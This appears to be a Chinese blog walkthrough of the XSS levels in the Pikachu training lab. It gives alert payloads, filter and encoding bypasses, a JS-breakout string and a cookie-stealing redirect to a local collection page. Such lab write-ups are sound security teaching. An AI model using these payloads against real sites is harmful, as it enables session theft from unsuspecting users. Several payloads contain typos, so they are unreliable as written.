pikachu xss练习随笔

pikachu通关指南

1.反射性get

1.遇到的第一个障碍点就在于输入长度的限制,这种情况可以直接在前端的属性值进行修改,从而绕过输入长度的限制.

2.然后我们需要知道我们所输入的数据输出在了html文档中的什么地方,这点决定我们playload的写法.我们可以发现

<p class="notice">who is {your input},i dont care!</p>

所以我们可以直接注入最普通的方式.

<script>alert(document.domain)</script>

3.get型的显著特征就是输入数据可以反馈在url地址栏中.

2.反射型post

1.在用户登录处是没有什么漏洞的.

2.我们假设在此以窃取当前用户的cookie为目的话.

3.本处的的漏洞点与第一题一样.

4.本题注入代码

<script>document.location="http://127.0.0.1/pikachu-master/pkxss/xcookie/post.html"</script>

5.下面我们来简要的分析一下post.html这个文件

  • 这个文件的主题是一个表单,表单中有到另一个cookie.php文件的重定向.
  • 重定向的同时,对这个文件中的get参数进行了赋值,赋予了当前的cookie值.
  • 在cookie.html文件中做出了,更加详细的字符串处理,并把这些东西插入数据库.这个数据库也就我们后台网站的数据库.

3.存储型

1.这里我们处理输入数据到html文档中的形式和1,2类型完全相同.所以注入语句也都是一样的.

<script>alert(1)</script>

2.但是最大的不同就是后端对于这个post中数据的处理方式,我们可以在后端php种发现,他把数据插入到了mysql中,同时有没有任何过滤.

3.插入mysql时,再把数据库中的数据原封不动地输出到html文档中.所以数据库中的js脚本就会触发.

4.Dom型的xss(1)

1.仍然最重要的是,我们所输入数据后,这些数据html文档中是怎样体现的?他输出到了html文档中的什么地方

2.这次我们输入的数据输入到了标签

<a hrep="{your input}">what do you see?</a>

3.所以我们可以尝试注意下代码

<a hrep="javascript:alert(1)">what do you see?</a>
<a hrep="#" onclick=alert(11)>

4.dom在这里体现为,他修改了html纹的文档中的某些属性的值,我们输入的数据就是体现在这些被修改的值当中的.

5.Dom型的xss(2)

1.本处与上一个,手法一样,只不过我们所输入的数据输出点多藏了一层而已.

6.盲打

1.我们再次对输入页面进行分析,发现我们输入的数据没有输出在html的其他地方,因此我们可以说我们普通用户是无法被攻击的.

2.但是本题的数据,经过后端处理后,可以反馈在管理员用户的平台上,所以我们可以因此攻击到管理员,在这里我们也要明白一点,管理员也是客户端的一员.

3.我们所输入的数据还会载入管理员的数据库中,所以说这还是一个存储型的攻击.

7.过滤

1.本题的过滤方式在于使用正则表达式进行过滤

$message=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/','',$_GET['message']);

此处的过滤方式可以过滤到任何<script>的标签,双写之类的也是不管用的.所以我们可以考虑避免使用<script>

2.我们可以尝试构造下面语句

<img scr=x one rror=alert(1)>

8.html输出转译

1.本题最大的特点在于,当我们尝试把

<script>alert(1)</script>

输入的时候,这段代码居然被原模原样地输出在了html文档中,没有被当做脚本执行.

2.这说明后端可能对我们所输入的数据进行了处理

$message=htmlspecialchars($_GET['message']);
\\\
$html2="<a href='{$message}'>{$message}</a>";

3.那么我们该如何绕过呢?对于这个函数我们应该搞清楚,有哪些符号是没有被转译的.比如说",',<>等符号都是有可能被转译,所以我们可以尝试避免使用带这些符号的语句

<a href="javascript:alert(1)">

4.本函数的具体功能是将预定义的<和>转换成html实体,不是当作标签,而是当作一般的实体

9.href

1.本题有两种思路要么直接使用javascript:{}或者给予标签的合法闭合区构造可以执行的脚本语句

<a href="javascript:alert(1)">

我们可以发现这里难以构造合法的闭合语句

10.js输出

1.本题我们发现我们所输入的数据存在于一个<script>脚本里所以我们想办法注入到js代码中

2.尤其这里的js代码全部都写在一行,没有换行,安全性极差,可以注释掉一整行所以我们可以进行一下语句

1';alert(1);//
上一篇:web | [网鼎杯 2018]Fakebook


下一篇:渗透测试之SQL注入漏洞